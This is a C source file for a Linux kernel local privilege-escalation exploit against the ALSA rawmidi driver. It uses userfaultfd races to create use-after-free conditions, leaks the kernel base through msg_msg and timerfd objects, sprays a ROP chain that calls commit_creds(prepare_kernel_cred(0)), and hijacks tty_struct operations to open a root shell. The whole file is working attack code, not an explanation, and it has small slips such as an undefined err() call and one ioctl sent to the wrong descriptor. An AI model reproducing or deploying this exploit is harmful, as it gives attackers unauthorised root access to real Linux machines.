// gcc -o exploit exploit.c -masm=intel -static -s -lpthread
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sound/asound.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <sys/timerfd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <pthread.h>
#include <poll.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)
                        
#define ADDRESS_PAGE_FAULT1 0x1337000
#define ADDRESS_PAGE_FAULT2 0x3331000
#define ADDRESS_PAGE_FAULT3 0x5551000
#define PAGE_SIZE 0x1000
#define DRIVER_RAWMIDI "/dev/snd/midiC0D0"

#define SNDRV_RAWMIDI_STREAM_OUTPUT 0

uint32_t uffd;
uint32_t fd1, fd2, fd3;
uint64_t next;
uint64_t fake_table;

pthread_t thread[6];

bool release_page_fault = false;

static void *page;

unsigned long pivot;
unsigned long kernel_base;
unsigned long timerfd_tmrproc;

unsigned long usr_cs, usr_ss, usr_rflags, usr_sp;

struct args_trigger
{
    char *addr;
    int size;
    uint32_t fd;
};

void hexdump(uint64_t *buf, uint64_t size)
{
    for (int i = 0; i < size / 8; i += 2)
    {
        printf("0x%x ", i * 8);
        printf("%016lx %016lx\n", buf[i], buf[i + 1]);
    }
}

static void save_state()
{
    __asm__ __volatile__(
    "movq %0, cs;"
    "movq %1, ss;"
    "pushfq;"
    "popq %2;"
    "movq %3, %%rsp\n"
    : "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags), "=r" (usr_sp) : : "memory" );
}

static void getRootShell()
{
    if(getuid())
    {
        printf("[-] Failed to get a root");
        exit(0);
    }

    printf("[+] uid : %d\n", getuid());
    printf("[+] Got root.\n");

    execl("/bin/sh", "sh", NULL);
}

void register_userfaultfd(uint64_t *range)
{
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);

    if (uffd == -1)
    {
        perror("[-] userfaultfd");
        exit(0);
    }

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;

    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
    {
        perror("[-] ioctl");
        exit(0);
    }

    printf("[*] Start monitoring range: %p - %p\n", page, page + PAGE_SIZE);

    uffdio_register.range.start = (uint64_t) range;
    uffdio_register.range.len = PAGE_SIZE;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;

    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
    {
        perror("[-] ioctl");
        exit(0);
    }

    puts("[+] Userfaultfd registered");
}

void *handler_userfaultfd(void *args)
{
    uint64_t uffd = *(uint64_t *)args;

    struct uffd_msg msg;
    struct uffdio_copy uffdio_copy;
    uint64_t nread;
    void *page2 = NULL;

    if ((page2 = mmap((void *)0xdead000, PAGE_SIZE * 5, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)
    {
        perror("[-] mmap()");
        exit(0);
    }

    uint64_t m_ts = 0x000000000000ffff;
    memcpy(page2, (char *) &m_ts, 8);

    while (true)
    {
        struct pollfd pollfd;
        int nready;

        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        
        nready = poll(&pollfd, 1, -1);

        if (nready == -1)
        {
            perror("[-] poll");
            exit(0);
        }

        nread = read(uffd, &msg, sizeof(msg));
        
        if (nread == 0)
        {
            perror("[-] EOF on userfaultfd!\n");
            exit(0);
        }

        if (nread == -1)
        {
            perror("[-] read");
            exit(0);
        }

        char *page_fault_location = (char *)msg.arg.pagefault.address;

        if (msg.event != UFFD_EVENT_PAGEFAULT)
        {
            perror("[-] Unexpected event on userfaultfd");
            exit(0);
        }

        if (msg.arg.pagefault.address == (void *)0x1337000 || msg.arg.pagefault.address == (void *)0x3331000 || msg.arg.pagefault.address == (void *)0x5551000)
        {
            printf("[+] Page Fault triggered on address 0x%llx\n", msg.arg.pagefault.address);

            if(msg.arg.pagefault.address == (void *)0x5551000)
            {
                memcpy(page2, (char *) &fake_table, 8);
            }

            while (release_page_fault == false);

            uffdio_copy.src = (uint64_t) page2;
            uffdio_copy.dst = (uint64_t) msg.arg.pagefault.address &~(PAGE_SIZE - 1);
            uffdio_copy.len = PAGE_SIZE;
            uffdio_copy.mode = 0;
            uffdio_copy.copy = 0;

            if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            {
                perror("[-] ioctl");
                exit(0);
            }

            release_page_fault = false;
        }
    }

    close(uffd);
    puts("[+] Page fault thread finished");
}

void *trigger_userfaultfd(struct args_trigger *args)
{
    char *addr = (char *) args->addr;
    int size = args->size;
    uint32_t fd = (uint64_t) args->fd;

    write(fd, addr, size);
}

void send_msg(int qid, const void *msg_buf, size_t size, long mtype)
{
    struct msgbuf
    {
        long mtype;
        char mtext[size - 0x30];
    } msg;

    msg.mtype = mtype;
    memcpy(msg.mtext, msg_buf, sizeof(msg.mtext));

    if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1)
    {
        perror("msgsnd");
        exit(1);
    }
}

void *recv_msg(int qid, size_t size)
{
    void *memdump = malloc(size);

    if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_NOERROR) == -1)
    {
        perror("msgrcv");
        return NULL;
    }

    return memdump;
}

void build_rop(char *buf)
{
    uint64_t *rop = (uint64_t *)&buf[0x0];
    int k = 0;

    /* commit_creds(prepare_kernel_cred(0)) */
    rop[k++] = kernel_base + 0x15e8; // pop rdi ; ret
    rop[k++] = 0x0;
    rop[k++] = kernel_base + 0x8a800; // prepare_kernel_cred
    rop[k++] = kernel_base + 0x49fb8; // pop rdx ; ret
    rop[k++] = 0x8;
    rop[k++] = kernel_base + 0xa6b081; // cmp rdx, 8 ; jne 0xffffffff81a6b05e ; ret
    rop[k++] = kernel_base + 0x3dfdb4; // mov rdi, rax ; jne 0xffffffff813dfda1 ; xor eax, eax ; ret
    rop[k++] = kernel_base + 0x8a3c0; // commit_creds

    /* kpti trampoline */
    rop[k++] = kernel_base + 0xc00a45; // swapgs_restore_regs_and_return_to_usermode + 22
    rop[k++] = 0x0; // rax
    rop[k++] = 0x0; // rdi
    
    rop[k++] = (unsigned long)&getRootShell;
    rop[k++] = (unsigned long)usr_cs;
    rop[k++] = (unsigned long)usr_rflags;
    rop[k++] = (unsigned long)usr_sp;
    rop[k++] = (unsigned long)usr_ss;

    uint64_t *func_table = (uint64_t *)&buf[0x100];
    for (size_t i = 0; i < 12; i++)
    {
        if (i == 4)
        {
            *func_table++ = kernel_base + 0x1e; // ret;
            continue;
        }

        if (i == 5)
        {
            *func_table++ = kernel_base + 0x1e; // ret
            continue;
        }

        if (i == 6)
        {
            *func_table++ = kernel_base + 0x1e; // ret
            continue;
        }

        *func_table++ = 0xdeadbeefdeadbe00 + i;
    }

    *func_table = pivot;
}

void pin_cpu(long cpu_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(cpu_id, &mask);

    if (sched_setaffinity(0, sizeof(mask), &mask) == -1)
    {
        err("`sched_setaffinity()` failed: %s", strerror(errno));
    }

    return;
}

void main(void)
{
    pin_cpu(0);

    struct snd_rawmidi_params srp;

    save_state();

    /* ===================== [ SETP 1 - KASLR Leak ] ===================== */

    puts("[+] STEP 1 : KASLR leak");
    fd1 = open(DRIVER_RAWMIDI, O_RDWR);

    if (fd1 < 0)
    {
        perror("[-] open");
        exit(0);
    }

    puts("[+] Opening rawmidi");

    int qid[2];
    if ((qid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
    {
        perror("msgget");
        exit(1);
    }

    struct itimerspec its;

    its.it_interval.tv_sec = 0;
    its.it_interval.tv_nsec = 0;
    its.it_value.tv_sec = 9999;
    its.it_value.tv_nsec = 0;

    int tfd[256];

    for(int i = 0; i < 256 / 2; i++)
    {
        tfd[i] = timerfd_create(CLOCK_REALTIME, 0);
        timerfd_settime(tfd[i], 0, &its, 0);
    }

    if ((page = mmap((void *)0x1336000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)
    {
        perror("[-] mmap()");
        exit(0);
    }

    puts("[+] Mapping two pages");

    char *addr = page;
    memset(addr, 'A', PAGE_SIZE);

    puts("[+] Registering one page userfaultfd"); 

    /* Registering mapped area */
    register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT1);

    puts("[+] Raising up the handler for userfaultfd");

    /* Handler for userfault */
    pthread_create(&thread[0], NULL, handler_userfaultfd, (void *) &uffd);

    /* Create one object by size 256 */
    srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;
    srp.buffer_size = 240;
    srp.avail_min = 1;
    uint64_t err = ioctl(fd1, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);

    puts("[+] Created one object by size 256");

    if (err < 0)
    {
        perror("[-] ioctl");
        exit(0);  
    }

    struct args_trigger args;
    args.addr = addr + PAGE_SIZE - 0x18;
    args.size = 0x18 + 0x8;
    args.fd= fd1;

    /* Blocking before object created by size 256 in userfault */
    pthread_create(&thread[1], NULL, (void *) trigger_userfaultfd, &args);
    puts("[+] Triggering userfaultfd");

    /* Deleting before object created by size 256 generating an UAF */
    srp.buffer_size = 250;
    err = ioctl(fd1, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);

    puts("[+] Deleting before object created by size 256 generating UAF");

    if (err < 0)
    {
        perror("[-] ioctl");
        exit(0);  
    }

    /* send_msg 'A' */
    char buf[0xf8 - 0x30];
    memset(buf, 0x41, sizeof(buf));
    send_msg(qid[0], buf, 0xf8, 1);

    puts("[+] Allocate msg_msg in kmalloc-256");

    printf("[*] Waiting for userfaultd to finish ..\n");
    release_page_fault = true;

    /* spray timerfd_ctx in kmalloc-256 */
    for(int i = 256 / 2; i < 256; i++)
    {
        tfd[i] = timerfd_create(CLOCK_REALTIME, 0);
        timerfd_settime(tfd[i], 0, &its, 0);
    }

    puts("[+] Allocate timerfd_ctx in kmalloc-256");

    while(release_page_fault == true);
    printf("[+] Page fault lock released\n");

    uint64_t *leak = recv_msg(qid[0], 0x2000);

    // hexdump(leak, 0x2000);

    timerfd_tmrproc =  *(leak + (0x200 / sizeof(uint64_t)));
    kernel_base = timerfd_tmrproc - 0x2201f0;
    pivot = kernel_base + 0x8fc625; // push r8 ; add byte ptr [rbp + 0x41], bl ; pop rsp ; pop r13 ; ret

    printf("[+] timerfd_tmrproc addr : 0x%lx\n", timerfd_tmrproc);
    printf("[+] kernel_base addr : 0x%lx\n", kernel_base);
    printf("[+] pivot addr : 0x%lx\n", pivot);

    for(int i = 0; i < 256; i++)
    {
        close(tfd[i]);
    }

    close(fd1);
    puts("[+] Close rawmidi");

    /* ===================== [ SETP 2 - SMAP Bypass ] ===================== */

    puts("\n[+] STEP 2 : SMAP bypass");
    
    release_page_fault = false;

    fd2 = open(DRIVER_RAWMIDI, O_RDWR);

    if (fd2 < 0)
    {
        perror("[-] open");
        exit(0);
    }

    puts("[+] Opening rawmidi");

    if ((qid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1)
    {
        perror("msgget");
        exit(1);
    }

    if ((page = mmap((void *)0x3330000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)
    {
        perror("[-] mmap()");
        exit(0);
    }

    puts("[+] Mapping two pages");

    addr = page;
    memset(addr, 'B', PAGE_SIZE);

    puts("[+] Registering one page userfaultfd"); 

    /* Registering mapped area */
    register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT2);

    puts("[+] Raising up the handler for userfaultfd");

    /* Handler for userfault */
    pthread_create(&thread[2], NULL, handler_userfaultfd, (void *) &uffd);

    /* Create one object by size 512 */
    srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;
    srp.buffer_size = 500;
    srp.avail_min = 1;
    err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);

    puts("[+] Created one object by size 512");

    if (err < 0)
    {
        perror("[-] ioctl");
        exit(0);  
    }
    args.addr = addr + PAGE_SIZE - 0x18;
    args.size = 0x18 + 0x8;
    args.fd= fd2;

    /* Blocking before object created by size 512 in userfault */
    pthread_create(&thread[3], NULL, (void *) trigger_userfaultfd, &args);
    puts("[+] Triggering userfaultfd");

    /* Deleting before object created by size 512 generating an UAF */
    srp.buffer_size = 90;
    err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);

    puts("[+] Deleting before object created by size 512 generating UAF");

    if (err < 0)
    {
        perror("[-] ioctl");
        exit(0);  
    }

    /* rop spray in kmalloc-512 */
    char secondary_buf[0x1ea - 0x30];
    memset(secondary_buf, 0, sizeof(secondary_buf));
    build_rop(secondary_buf);

    printf("[*] Waiting for userfaultd to finish ..\n");
    release_page_fault = true;

    for(int i = 0; i < 0x20; i++)
    {
        send_msg(qid[1], secondary_buf, 0x1ea, 0x1337);
    }

    puts("[+] Spray ROP Chain in kmalloc-512");

    while(release_page_fault == true);
    printf("[+] Page fault lock released\n");

    uint64_t *leak2 = recv_msg(qid[1], 0x2000);
    next = *(leak2 + (0x1d8 / sizeof(uint64_t))) + 0x30;
    fake_table = next + 0x100;

    printf("[+] msg_msg->m_list.next leak : 0x%lx\n", next - 0x30);
    printf("[+] Fake tty_struct->ops function table: 0x%lx\n", fake_table);

    // hexdump(leak2, 0x2000);

    close(fd2);
    puts("[+] Close rawmidi");

    /* ===================== [ SETP 3 - tty_struct->ops overwrite ] ===================== */

    puts("\n[+] STEP 3 : Fake tty_struct->ops overwrite");

    release_page_fault = false;

    fd3 = open(DRIVER_RAWMIDI, O_RDWR);

    if (fd3 < 0)
    {
        perror("[-] open");
        exit(0);
    }

    puts("[+] Re-opening rawmidi");

    if ((page = mmap((void *)0x5550000, PAGE_SIZE * 2, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0)) == MAP_FAILED)
    {
        perror("[-] mmap()");
        exit(0);
    }

    puts("[+] Mapping two pages");

    addr = page;
    memset(addr, 'C', PAGE_SIZE);

    puts("[+] Registering one page userfaultfd"); 

    /* Registering mapped area */
    register_userfaultfd((uint64_t *) ADDRESS_PAGE_FAULT3);

    puts("[+] Raising up the handler for userfaultfd");

    /* Handler for userfault */
    pthread_create(&thread[4], NULL, handler_userfaultfd, (void *) &uffd);

    /* Create one object by size 800 */
    srp.stream = SNDRV_RAWMIDI_STREAM_OUTPUT;
    srp.buffer_size = 800;
    srp.avail_min = 1;
    err = ioctl(fd2, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);

    puts("[+] Created one object by kmalloc-1024");

    if (err < 0)
    {
        perror("[-] ioctl");
        exit(0);  
    }

    args.addr = addr + PAGE_SIZE - 0x18;
    args.size = 0x18 + 0x8;
    args.fd= fd3;

    /* Blocking before object created by size 1024 in userfault */
    pthread_create(&thread[5], NULL, (void *) trigger_userfaultfd, &args);
    puts("[+] Triggering userfaultfd");

    /* Deleting before object created by size 1024 generating an UAF */
    srp.buffer_size = 90;
    err = ioctl(fd3, SNDRV_RAWMIDI_IOCTL_PARAMS, &srp);

    puts("[+] Deleting before object created by size 1024 generating UAF");

    if (err < 0)
    {
        perror("[-] ioctl");
        exit(0);  
    }

    int spray[256];

    /* tty_struct spray */
    for(int i = 0; i < 256; i++)
    {
        spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

        if(spray[i] < 0)
        {
            printf("[-] Failed open /dev/ptmx\n");
        }
    }

    puts("[+] Allocate tty_struct in kmalloc-1024");

    release_page_fault = true;

    while(release_page_fault == true);
    puts("[+] Page fault lock released");

    for(int i = 0; i < 256; i++)
    {
        ioctl(spray[i], 0, next - 8);
    }
}